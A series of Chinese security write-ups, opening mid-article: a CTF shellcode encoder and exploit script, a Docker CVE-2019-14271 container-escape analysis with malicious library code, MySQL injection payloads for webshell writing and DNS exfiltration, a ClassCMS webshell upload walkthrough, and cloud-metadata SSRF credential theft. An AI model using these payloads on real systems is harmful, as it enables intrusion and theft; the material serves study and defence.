66 89 5d 02 mov [rbp + 0x2], bx # 第 4 组将 bx 写入 rbp 指向的位置(偏移为 2)
如果指令长度超过 0x80，就需要稍微调整一下此模式。但是将指令拆成 4 字节一组可以使整体 shellcode 长度更短，因此没必要这样做。
完整的转换算法如下：
def asm_long_015(shellcode):
""" 将超长的 shellcode 转换成 0x00、0x01、0x05 三种字符(会破坏 rbp 寄存器) """
# 添加 ret 指令，并补充为 2 的整数倍长度
shellcode += b'\xC3'
if len(shellcode) % 2 == 1:
shellcode += b'\x90'
# 暂不支持大于等于 0x80 字节的超长指令，尽量将指令拆成 4 字节一组以减少 shellcode 长度
assert len(shellcode) < 0x80
# 将 rbx 入栈，往 rbp 处构造出超长 shellcode
payload = asm_015(b'\x53\x48\x8D\x2D\x00\x00\x00\x00') # push rbx; lea rbp, [rip]
for i in range(0, len(shellcode), 2):
payload += asm_015(b'\x66\xBB' + shellcode[i:i+2]) # mov bx, 0xXXXX
payload += asm_015(b'\x66\x89\x5D' + bytes([i])) # mov [rbp + i], bx
# 将 rbx 出栈，调用 rbp 处的超长 shellcode
payload += asm_015(b'\x5B\xFF\xD5\x90') # pop rbx; call rbp; nop
return payload
## 处理 syscall 的返回值
调用 syscall 之后，返回值会写入 rax 寄存器，这会影响到后续 shellcode 的构造。
如果事先知道 syscall 会返回什么值，那只要更新当前 eax 的值即可。
如果不知道 syscall 会返回什么值，那就需要在 syscall 那组指令中设置好 eax 的值，举例：
58 pop rax
0f 05 syscall
b8 00 00 00 00 mov eax, 0x0
前 4 个字节可以通过上文说到的方式构造出来，后面跟着 4 个 0x00，也可以换成 0x01 或 0x05(某些情况下可以减少整体 shellcode
的长度)。
## 测试 shellcode 的程序
这是本文测试 shellcode 的二进制程序源代码，用来验证 0x00、0x01、0x05 三个字符可以组成任意的 shellcode。
* 首先 mmap 随机的地址，使 shellcode 运行时 rip 寄存器的值是未知的。
* 然后将所有寄存器的值设置为 0xdeadbeefdeadbeef，使 shellcode 不依赖寄存器的初始值。
* 最后编译时开启 PIE，使 shellcode 不依赖程序的 gadget。
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
char init_code[] = {0x48, 0xB8, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBB, 0xEF, 0xBE, 0xAD, 0xDE,
0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBA,
0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE,
0xAD, 0xDE, 0x48, 0xBE, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xB8, 0xEF, 0xBE,
0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xB9, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE,
0x49, 0xBA, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBB, 0xEF, 0xBE, 0xAD, 0xDE,
0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBC, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBD,
0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x49, 0xBE, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE,
0xAD, 0xDE, 0x49, 0xBF, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBD, 0xEF, 0xBE,
0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE, 0x48, 0xBC, 0xEF, 0xBE, 0xAD, 0xDE, 0xEF, 0xBE, 0xAD, 0xDE};
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
int ufd = open("/dev/urandom", O_RDONLY);
assert(ufd != -1);
void *addr = 0;
read(ufd, &addr, 8);
close(ufd);
assert(addr > 0);
*((unsigned long *)&addr) &= 0xffffff000;
assert(mmap(addr, 0x100000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) == addr);
memcpy(addr, init_code, sizeof(init_code));
unsigned int length = 0;
printf("shellcode length: ");
assert(scanf("%u", &length) == 1);
unsigned int n = 0;
void *p = addr + sizeof(init_code);
while (length > 0) {
ssize_t n = read(0, p, length);
assert(n > 0);
p += n;
length -= n;
}
return ((int (*)(void))addr)();
}
gcc -pie -o test_shellcode test_shellcode.c
## 完整的 shellcode 生成脚本
将 shellcode 适当地分组，就可以用脚本直接转换成 0x00、0x01、0x05 三种字符。
备注：适当调整 shellcode 的顺序，可以获得更短的 shellcode 长度。
#!/usr/bin/env python3
from pwn import *
current_eax = 0xdeadbeef
def next_step(value):
""" 每个字节每次加 5、1 或 0 """
n = 0
for i in range(4):
if (value >> (i * 8)) & 0xff >= 5:
n |= (5 << (i * 8))
elif (value >> (i * 8)) & 0xff >= 1:
n |= (1 << (i * 8))
return n
def add_eax(value):
""" 将 eax 加上指定的值 """
payload = b''
while value > 0:
n = next_step(value)
payload += b'\x05' + p32(n)
value -= n
return payload
def asm_015(shellcode):
""" 将 shellcode 转换成 0x00、0x01、0x05 三种字符 """
# 不足 4 字节的目标指令补充 nop 指令
if len(shellcode) < 4:
shellcode = shellcode.ljust(4, b'\x90')
# 特殊处理超过 4 字节且含有其他字符的目标指令
if len(shellcode) > 4:
for c in shellcode[4:]:
if c not in (0, 1, 5):
return asm_long_015(shellcode)
# 当前 eax 距离目标指令的差值
global current_eax
eax_offset = u32(shellcode[:4]) - current_eax
if eax_offset < 0:
eax_offset += 0x100000000
# 预留第一步的值，以减少 shellcode 的总体长度
reserved = next_step(eax_offset)
eax_offset -= reserved
# 设置 eax 为目标指令
payload = add_eax(eax_offset)
current_eax = (current_eax + eax_offset) & 0xffffffff
# 将 eax 加到目标指令
payload += b'\x01\x05\x00\x00\x00\x00' # add [rip], eax
# 目标指令预留的值
payload += p32(reserved)
# 目标指令超出 4 字节的部分(全是 0x00、0x01、0x05 之一)
payload += shellcode[4:]
return payload
def asm_long_015(shellcode):
""" 将超长的 shellcode 转换成 0x00、0x01、0x05 三种字符(会破坏 rbp 寄存器) """
# 添加 ret 指令，并补充为 2 的整数倍长度
shellcode += b'\xC3'
if len(shellcode) % 2 == 1:
shellcode += b'\x90'
# 暂不支持大于等于 0x80 字节的超长指令，尽量将指令拆成 4 字节一组以减少 shellcode 长度
assert len(shellcode) < 0x80
# 将 rbx 入栈，往 rbp 处构造出超长 shellcode
payload = asm_015(b'\x53\x48\x8D\x2D\x00\x00\x00\x00') # push rbx; lea rbp, [rip]
for i in range(0, len(shellcode), 2):
payload += asm_015(b'\x66\xBB' + shellcode[i:i+2]) # mov bx, 0xXXXX
payload += asm_015(b'\x66\x89\x5D' + bytes([i])) # mov [rbp + i], bx
# 将 rbx 出栈，调用 rbp 处的超长 shellcode
payload += asm_015(b'\x5B\xFF\xD5\x90') # pop rbx; call rbp; nop
return payload
def exploit(r):
# 修复栈
payload = asm_015(asm('lea rsp, [rip]'))
payload += asm_015(asm('and rsp, 0xfffffffffffffff0'))
# secret 文件路径
payload += asm_015(asm('mov bx, 0x0000'))
payload += asm_015(asm('shl rbx, 16'))
payload += asm_015(asm('mov bx, 0x7465'))
payload += asm_015(asm('shl rbx, 16'))
payload += asm_015(asm('mov bx, 0x7263'))
payload += asm_015(asm('shl rbx, 16'))
payload += asm_015(asm('mov bx, 0x6573'))
# int open(const char *pathname, int flags)
payload += asm_015(asm('push rbx; mov rdi, rsp')) # pathname
payload += asm_015(asm('push 2; push 0')) # sys_open, flags
payload += asm_015(asm('pop rsi; pop rax; syscall'))
global current_eax
current_eax = 3 # 返回值为3，修正当前 eax
# ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
payload += asm_015(asm('push 0x7f; pop r10')) # count
payload += asm_015(asm('push 40; push 0')) # sys_sendfile, offset
payload += asm_015(asm('push 3; push 1')) # in_fd, out_fd
payload += asm_015(asm('pop rdi; pop rsi; pop rdx; nop'))
payload += asm_015(asm('pop rax; syscall; mov eax, 0')) # 因为 flag 长度未知，因此将 eax 置 0
current_eax = 0 # 修正当前 eax
# 超长 shellcode 测试：预期正常调用 getuid()、getgid() 并正常返回
payload += asm_015(asm('mov rax, 102; syscall; mov rax, 104; syscall; mov eax, 0'))
current_eax = 0 # 修正当前 eax
# void _exit(int status)
payload += asm_015(asm('push 60; push 0')) # sys_exit, status
payload += asm_015(asm('pop rdi; pop rax; syscall'))
# 验证 shellcode
log.info('payload %s, length: %d', set(payload), len(payload))
r.sendlineafter(b'shellcode length: ', str(len(payload)).encode('utf8'))
pause()
r.send(payload)
# 预期输出 secret 文件内存，并正常退出
print(r.recvallS())
r.close()
def main():
context.clear(arch='amd64', os='linux')
r = process('./test_shellcode')
exploit(r)
if __name__ == '__main__':
main()
## 利用 strace 调试 syscall 的小技巧
在利用脚本发送 payload 前先 pause()，然后在另一个终端执行 strace 命令，回到 pause() 的终端按任意键继续，然后在
strace 的终端就能直观地看到是否按预期调用 syscall 了：
$ strace -p `pidof test_shellcode`
strace: Process 22404 attached
read(0, "\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\5\1\5\5"..., 10046) = 10046
open("secret", O_RDONLY) = 3
sendfile(1, 3, NULL, 127) = 56
getuid() = 0
getgid() = 0
exit(0) = ?
+++ exited with 0 +++
## 参考
* 1. [redpwnCTF 2021 – gelcode-2 (pwn)](https://activities.tjhsst.edu/csc/writeups/redpwnctf-2021-gelcode)
* 1. [DEFCON 29 FINAL shooow-your-shell 总结](https://paper.seebug.org/1673/) | 社区文章 |
Docker修复了史上最严重的copy漏洞——CVE-2019-14271。
# Docker cp
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制`/var/logs`，语法是`docker
cp container_name:/var/logs /some/host/path`。
从下图所示，要从容器中将文件复制出去，Docker使用了一个名为`docker-tar`的帮助进程。
图 1. 从容器中复制文件
docker-tar是通过chroot到容器，将请求的文件或目录存档，然后将生成的tar文件传递给Docker
daemon，然后由daemon提取到主机的目标目录中。
注释：CHROOT就是Change Root，也就是改变程序执行时所参考的根目录位置。CHROOT可以增进系统的安全性，限制使用者能做的事。
图 2. docker-tar chroot到容器中
Chroot主要是为了避免系统链接的问题，当主机进程尝试访问容器中的文件时就可能会引发系统链接问题。如果访问的文件中有系统链接，就会解析到host
root。因此，攻击者控制的容器就可以尝试和诱使`docker
cp`在主机而非容器上读写文件。去年有许多Docker和Podman相关的系统链接CVE漏洞。通过chroot到容器的root，`docker-tar`可以确保所有系统链接都可以高效地解析。
但，chroot到容器然后从容器中复制文件可能会引发很严重的安全问题。
# CVE-2019-14271
Docker是用Golang语言编写。有漏洞的Docker版本是用Go
v1.11编译的。在该版本中，一些含有嵌入C代码（cgo）的包会在运行时动态加载共享的库。这些包包括`net`和`os/user`，都是docker-tar使用的，而且在运行时会加载多个`libnss_*.so`库。一般来说，库是从`host`文件系统加载的，但因为`docker-tar`chroot到了容器，因此会从容器文件系统中加载库。也就是说`docker-tat`会加载和执行来源于容器或由容器控制的代码。
需要说明的是，除了chroot到容器文件系统外，docker-tar并没有被容器化。它是在host命名空间运行的，权限为root全新且不受限于cgroups或seccomp。因此，通过注入代码到docker-tar，恶意容器就可以获取host主机的完全root访问权限。
可能的攻击场景有Docker用户从另一个Docker处复制文件：
* 容器运行含有恶意`libnss_*.so`库的镜像
* 容器中含有被攻击者替换的`libnss_*.so`库
在这两种情况下，攻击者都可以获取主机上的root代码执行权限。
# 漏洞利用
为利用该漏洞，研究人员需要先创建一个恶意libnss库。研究人员随意选择了`libnss_files.so`文件，下载了库函数的源码，并在代码中加入了一个函数——`run_at_link()`。研究人员还为该函数定义了`constructor`属性。`constructor`属性表明`run_at_link`函数在进程加载时会作为库的初始化函数执行。也就是说，当`Docker-tar`进程动态加载恶意库时，`run_at_link`函数就会执行。下面是`run_at_link`的代码：
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
`run_at_link`首先会验证是否运行在`docker-tar`环境下，然后正常的容器进程也可能会加载它。这是通过检查`/proc`目录完成的。如果`run_at_link`运行在`docker-tar`环境下，那么目录就是空的，因为procfs挂载在`/proc`上只存在于容器的mount命名空间。
然后，`run_at_link`会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本，并触发`run_at_link`执行。
为简化该漏洞利用，`run_at_link`会尝试在容器的`/breakout`路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入，而非C语言。让逻辑的其他部分在`run_at_link`外，意味着在漏洞利用每次变化后无需重新编译恶意库，只需改变breakout二进制文件就可以了。
漏洞利用PoC视频如下所示：
<https://unit42.paloaltonetworks.com/wp-content/uploads/2019/11/exploit_vid.mp4>
利用CVE-2019-14271打破Docker
在该漏洞视频中，Docker用户会运行含有恶意`libnss_files.so`的恶意镜像，然后尝试从容器中复制一些日志。镜像中的/breakout二进制文件是一个简单的bash脚步，会挂载host文件系统到`/host_fs`的容器中，并将消息写入host的`/evil`目录。
`/breakout`脚本代码如下：
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil
# 补丁
目前Docker已经发布了补丁。补丁中修复了docker-tat的init函数来从有问题的Go包来调用任意函数。这会让docker-tar在chroot到容器前加载libnss库，而非从host文件系统中加载。
图 3. CVE-2019-14271补丁
# 结论
因为该漏洞允许root级的代码执行，因此非常危险。为了减小此类攻击的供给面，研究人员建议用户不要运行不可信的镜像。研究人员建议用户尽快更新Docker版本到19.03.1及更改版本。
<https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/> | 社区文章 |
## 0x00 前言
近期分析mysql利用报错注入读取文件内容，利用LINES TERMINATED
BY在查询只返回一个字段时写webshell文件，以及如何利用load_file扫描判断文件是否存在。
## 0x01 [into outfile](https://mariadb.com/kb/en/library/select-into-outfile/)写文件
* 要求用户具有file权限
* 文件不能覆盖写入，所以文件必须为不存在
* 如果secure_file_priv非空，则写入文件的目录只能为对应目录下
**注意:**
FIELDS TERMINATED
BY原理为在输出数据的每个字段之间插入webshell内容，所以如果select返回的只有一个字段，则写入的文件不包含webshell内容,例如下面语句`SELECT
username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY
0x3c3f70687020706870696e666f28293b3f3e`，写入的文件中只包含username的值而没有webshell内容;
LINES TERMINATED BY和LINES STARTING
BY原理为在输出每条记录的结尾或开始处插入webshell内容，所以即使只查询一个字段也可以写入webshell内容，更为通用。此外，该类方式可以引用于limit等不能union的语句之后进行写文件操作。
#### 1\. union注入写文件
SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php'
#### 2\. FIELDS TERMINATED BY（可在limit等语句后）
SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
#### 3\. LINES TERMINATED BY（可用于limit等sql注入）
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
#### 4\. LINES STARTING BY（可用于limit等sql注入）
SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
## 0x02 [LOAD_FILE](https://mariadb.com/kb/en/library/load_file/)读文件
* 要求用户具有file权限
* 如果secure_file_priv非空，则只能读取对应目录下的文件
#### 1\. 联合注入+load_file读文件
SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php'))
#### 2\. DNSLOG带外查询
* 需要windows环境
SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt'))
#### 3\. 报错注入+load_file读文件
ps: _报错注入读文件内容，有时候会由于报错长度受限或者文件编码问题，推荐采用hex编码方式分段读取文件内容_
select * from user where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))
某CMS报错注入读取文件实例1:
某CMS报错注入读取文件实例2:
## 0x03 扫描文件是否存在
* 要求用户具有file权限
* 如果secure_file_priv非空，则只能扫描判断对应目录下的文件
**原理：**
load_file读取文件时，如果没有对应的权限获取或者文件不存在则函数返回NULL,所以结合isnull+load_file可以扫描判断文件名是否存在
如果文件存在，isnull(load_file('文件名'))返回0
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
如果文件不存在isnull(load_file('文件名'))返回1
mysql> select * from user where username = '' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('D:/xxxxx')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'
某CMS报错注入扫描文件实例，存在文件C:/Windows/win.ini
某CMS报错注入扫描文件实例，不存在文件C:/Windows/passwd
可以结合burp爆破扫描文件名
## 0x04小结
* 倘若知道绝对路径且有权限时，通常都是直接into outfile写webshell
* 不知道网站绝对路径时，可以尝试读取常见的配置文件获取网站绝对路径，然后进行写操作；或者直接读取敏感的文件，获取信息进行其他操作。
* 此外load_file可以在盲注情况下，利用DNSLOG带外获取内容，或者hex()函数转换后按位读取敏感的文件内容
* 还有很多的利用技巧，大家自行研究，多多分享 | 社区文章 |
## 0x01 前言
之前在某CMS也接触过自解压导致任意文件上传的漏洞，只要对请求URL过滤不严谨，以及逻辑处理存在缺陷便可导致上传可控，直接一步获取服务器权限。本次通过分析ClassCMS源码，从原理上理解此类漏洞。代审小白，分析不到位请大佬们多多体谅。
## 0x02 环境搭建
1、首先准备phpstudy，这里使用的是2016版本的，php版本为5.6.27
2、部署cms源码
3、访问<http://192.168.150.9/index.php>进行安装
4、输入相应配置信息，安装成功（数据库需提前新建好）
## 0x03 漏洞复现
1、输入账号密码登录进后台
2、进入应用商店主页
3、选择任意应用，点击下载
4、进入具体应用页面后，点击下载并抓包
可以看到第二个数据包中通过url穿参一个链接
5、解码后可以看到是向主页请求下载一个1.0版本的东西
6、访问一下可以看到是个zip压缩包
7、放包后查看一下返回结果
8、准备一个包含一句话木马的PHP文件，并进行压缩
9、通过python开启一个http服务
10、替换请求的URL链接为1.zip的链接，修改classhash的值，这个将作为文件夹的名字，所以最好取个不会重复的
11、一句话吗木马上传成功
12、执行命令
访问：[http://192.168.150.9/class/test123/1.php?1=phpinfo();](http://192.168.150.9/class/test123/1.php?1=phpinfo\()
## 0x04 漏洞分析
1、首先还是一样，先看入口文件index.php
2、定义那些可以先不用看，关键包含了一个cms.php文件
3、里面有好多方法，这里就不细细分析了，大体是定义了许多方法，在需要的时候进行调用。在同一目录下找到一个route.php文件
4、路由规则简单理解了，文件:方法:参数，回过头来看请求的URL
定位到shop/shop.php的downloadClass方法
5、路由定位到了，那么开始通读函数（因为会远程加载一些方法，所以将原有的代码段进行了分段），注释中为分析过程。
function downloadClass() {
//是否传参classpath，否则返回空，这里过
if(!is_hash(@$_POST['classhash'])) {
Return ;
}
$classhash=$_POST['classhash'];
$url=$_POST['url'];
//调用cms目录下的class.php文件中的get方法，检测是否存在同名的classhash
if(C('cms:class:get',$classhash)) {
echo(json_encode(array('msg'=>'应用已存在','error'=>1)));
Return ;
}
//检测是否有curl_init函数
if (!function_exists("curl_init")){
echo(json_encode(array('msg'=>"服务器未安装Curl组件,无法下载应用文件",'error'=>1)));
Return ;
}
//检测是否有zip_open或ZipArchive函数
if(!function_exists('zip_open') || !class_exists('ZipArchive')) {
echo(json_encode(array('msg'=>"未安装zip组件,无法解压安装包",'error'=>1)));
Return ;
}
//解压后文件存放的路径
$classdir=classDir($classhash);
//赋值缓存目录路径
$path=$GLOBALS['C']['SystemRoot'].$GLOBALS['C']['CacheDir'].DIRECTORY_SEPARATOR.'shop'.DIRECTORY_SEPARATOR;
//查看目录是否存在，不存在则使用@mkdir进行创建
if(!cms_createdir($path)) {
echo(json_encode(array('msg'=>"创建缓存目录失败,无法下载",'error'=>1)));
Return ;
}
//缓存文件，后面将会被删除
$classfile=$path.md5($classhash.time()).'.class';
//跳转到本文件到download函数中，后面解释
if(!C('this:download',$url,$classfile)) {
echo(json_encode(array('msg'=>"下载失败",'error'=>1)));
Return ;
}
//不存在post md5，过
if(isset($_POST['md5']) && !empty($_POST['md5']) && function_exists("md5_file")) {
if($_POST['md5']!=@md5_file($classfile)) {
echo(json_encode(array('msg'=>"文件校验失败,请重新下载",'error'=>1)));
Return ;
}
}
6、很标准的一个使用http下载文件的函数，curl_init创建实例，curl_setopt设置参数，curl_exec抓取、curl_close关闭。代码中通过这个函数获取搭建好的web服务中的zip文件
//调用cms目录下的class.php文件中的unzip方法，这里返回true
if(C('cms:class:unzip',$classfile,$classdir)) {
//返回true，使用unlink删除文件
@unlink($classfile);
//调用cms目录下的class.php文件中的refresh方法
if(C('cms:class:refresh',$classhash)) {
echo(json_encode(array('msg'=>"下载完成,请在应用管理页面中安装此应用")));
Return ;
}else {
echo(json_encode(array('msg'=>"安装包格式错误,请重试",'error'=>1)));
Return ;
}
}else{
//返回false，也使用unlink删除文件
@unlink($classfile);
echo(json_encode(array('msg'=>"安装包解压失败,请重试",'error'=>1)));
Return ;
}
Return ;
}
7、在cms目录下的class.php文件中定位unzip方法，这里使用ZipArchive或者zip_open进行zip包的解压缩，未进行过滤
8、在cms目录下的class.php文件中定位refresh方法
9、首先第一个便是调用is_hash()方法，在cms/cms.php文件中找到is_hash方法
10、具体利用我在在线php代码执行中测试了，这也是一个好方法，在无法确定的时候，通过执行结果来判断。这里很明显没有进入到if判断中。
<?php
function is_hash($hash) {
Return preg_match('/^[A-Za-z]{1}[A-Za-z0-9_]{0,31}$/',$hash);
}
if(!is_hash("test123")) {echo "123";}
else{echo "is hash";}
11、然后使用is_file函数检测文件，因为创建的目录名为test123，文件名为1.php，所以文件不存在，这里直接返回false。即在源代码中执行一下代码
else {
echo(json_encode(array('msg'=>"安装包格式错误,请重试",'error'=>1)));
Return ;
}
12、与验证漏洞过程相匹配
## 0x05 总结
从一个利用poc到分析源码，需要从路由，到定位关键漏洞路径，到漏洞利用经过到链，最后到执行，其实只要能够每个函数都进行分析，再从数据处理那一块都角度进行，便会发现比想象中容易些。分享一个小tips，在一些PHP代码无法直接判断的时候，可以通过将代码拿出来，自己执行一遍进行判断。 | 社区文章 |
**作者：ruiqiang@云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/Y9CBYJ_3c2UI54Du6bneZA>**
## 前言
在针对云上业务的的攻击事件中，很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。
以2019年的美国第一资本投资国际集团（CapitalOne）信息泄露事件举例，根据《ACase Study of the Capital One Data
Breach》报告指出，攻击者利用CapitalOne部署在AWS云上实例中的SSRF漏洞向元数据服务发送请求并获取角色的临时凭证，在获取角色临时凭据后将该角色权限下的S3存储桶中的数据复制到攻击者的本地机器上，最终导致这一严重数据泄露事件的产生，这一事件影响了北美超过1亿人。CapitalOne
的股价在宣布数据泄露后收盘下跌 5.9%，在接下来的两周内总共下跌了 15%。
Capital One信息泄露事件攻击原理图，可参见图：
CapitalOne信息泄露事件攻击原理图
在介绍元数据服务带来的安全挑战之前，我们先来简单介绍一下元数据服务以及角色的概念。
## 01元数据服务以及角色介绍
### 元数据服务
元数据即表示实例的相关数据，可以用来配置或管理正在运行的实例。用户可以通过元数据服务在运行中的实例内查看实例的元数据。
以AWS举例，可以在实例内部访问如下地址来查看所有类别的实例元数据：
<http://169.254.169.254/latest/meta-data/>
169.254.169.254属于链路本地地址（Link-localaddress），链路本地地址又称连结本地位址，是计算机网络中一类特殊的地址，它仅供于在网段，或广播域中的主机相互通信使用。这类主机通常不需要外部互联网服务，仅有主机间相互通讯的需求。IPv4链路本地地址定义在169.254.0.0/16地址块。
而在具体的技术实现上，云厂商将元数据服务运行在Hypervisor（虚拟机管理程序）上。当实例向元数据服务发起请求时，该请求不会通过网络传输，也永远不会离开这一台计算机。基于这个原理，元数据服务只能从实例内部访问。
可以PING云厂商所提供的元数据服务域名，以查看其IP地址
从上图可见，元数据服务属于链路本地地址。
从设计上来看，元数据服务看起来很安全，那为什么说元数据服务脆弱呢？
由于元数据服务部署在链路本地地址上，云厂商并没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的SSRF漏洞对实例的元数据服务进行访问。
因此，如果实例中应用中存在SSRF漏洞，那么元数据服务将会完全暴露在攻击者面前。
在实例元数据服务提供的众多数据中，有一项数据特别受到攻击者的青睐，那就是角色的临时访问凭据。这将是攻击者由SSRF漏洞到获取实例控制权限的桥梁。
### 访问管理角色
既然攻击涉及到访问管理角色的临时凭据，我们首先看下访问管理角色是什么：
访问管理的角色是拥有一组权限的虚拟身份，用于对角色载体授予云中服务、操作和资源的访问权限。用户可以将角色关联到云服务器实例。为实例绑定角色后，将具备以下功能及优势：
* 可使用 STS 临时密钥访问云上其他服务
* 可为不同的实例赋予包含不同授权策略的角色，使实例对不同的云资源具有不同的访问权限，实现更精细粒度的权限控制
* 无需自行在实例中保存 SecretKey，通过修改角色的授权即可变更权限，快捷地维护实例所拥有的访问权限
具体的操作流程如下：
在将角色成功绑定实例后，用户可以在实例上访问元数据服务来查询此角色的临时凭据，并使用获得的临时凭据操作该角色权限下的云服务API接口。
## 02针对元数据服务的攻击
接下来我们将介绍下针对元数据服务的一些常见的攻击模式。攻击者可以首先通过目标实例上的SSRF漏洞获取与实例绑定的角色名称（rolename）。攻击者可以构造访问元数据接口的payload，并通过存在SSRF漏洞的参数传递：
http://x.x.x.x/?url=http://169.254.169.254/latest/meta-data/iam/info
在获取到角色名称后，攻击者可以继续通过SSRF漏洞获取角色的临时凭证：
http://x.x.x.x/url=http://169.254.169.254/latest/metadata/iam/security-credentials/
获取角色临时凭据的案例可参见下图:
从上图可见，攻击者可以获取角色的TmpSecretID以及TmpSecretKey。
在攻击者成功获取角色的临时凭据后，将会检查获取到的角色临时凭据的权限策略。
有的时候，可以通过获取到的角色名称，来猜测该角色的权限策略，例如角色名为：TKE_XXX，则这个角色很大可能是拥有操作TKE容器服务的权限。
此外，如果获取的临时密钥拥有查询访问管理接口的权限，攻击者可以通过访问“访问管理”API来准确获取的角色权限策略。可以通过如下几种方式判断获取角色的权限策略：
**1、通过使用临时API凭据访问“获取角色绑定的策略列表”API接口，见下图：**
从上图可见，攻击者获取到的与实例绑定的角色的临时凭据权限策略是“AdministratorAccess”,这个策略允许管理账户内所有用户及其权限、财务相关的信息、云服务资产。
**2、通过使用临时API凭据访问“获取角色详情”API接口，见下图：**
通过查询的返回结果可以见，角色的权限策略为AssumeRole。
在弄清楚窃取的凭据所拥有的权限后，攻击者便可以通过凭据的权限制定后续的攻击流程。
但在开始后续的攻击阶段之前，攻击者会先判断当前权限是否可以获取目标的数据资源。
在所有云资源中，攻击者们往往对目标的数据更加感兴趣。如果攻击者获取的密钥拥有云数据库服务或云存储服务等服务的操作权限，攻击者将会尝试窃取目标数据。
临时凭据同样也可以帮助攻击者们在目标实例中执行指令并控制实例权限。
与通过密钥构造请求这种方式发起攻击相比，攻击者们在实战中更倾向于使用云命令行工具来进行攻击。
云服务厂商为用户提供了相应的云命令行工具以管理云服务，例如腾讯云提供的TCCLI工具、AWS的AWSCLI工具。攻击者可以通过在云命令行工具中配置窃取到的API密钥来对云资源进行调用。与构造请求访问云API接口这种方式相比，使用云命令行工具将会给攻击者带来更多便捷。
在使用云命令行工具之前，应先配置API密钥，以AWSCLI工具配置举例，可以将：
攻击者将窃取来的AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY、AWS_SESSION_TOKEN配置完成后，可以使用云命令行工具在目标实例上执行命令。
在配置好密钥后，攻击者可以尝试使用如下图命令通过AWSCLI在实例中运行bash脚本以获取实例控制权限。
借助通过元数据服务窃取到的凭据以及AWSCLI所提供的功能,攻击者可以在实例中执行反弹shell命令，由此进入实例。
除此之外，攻击者还可以选择修改userdata，将反弹shell写入userdata中后将实例重启，从而控制实例。
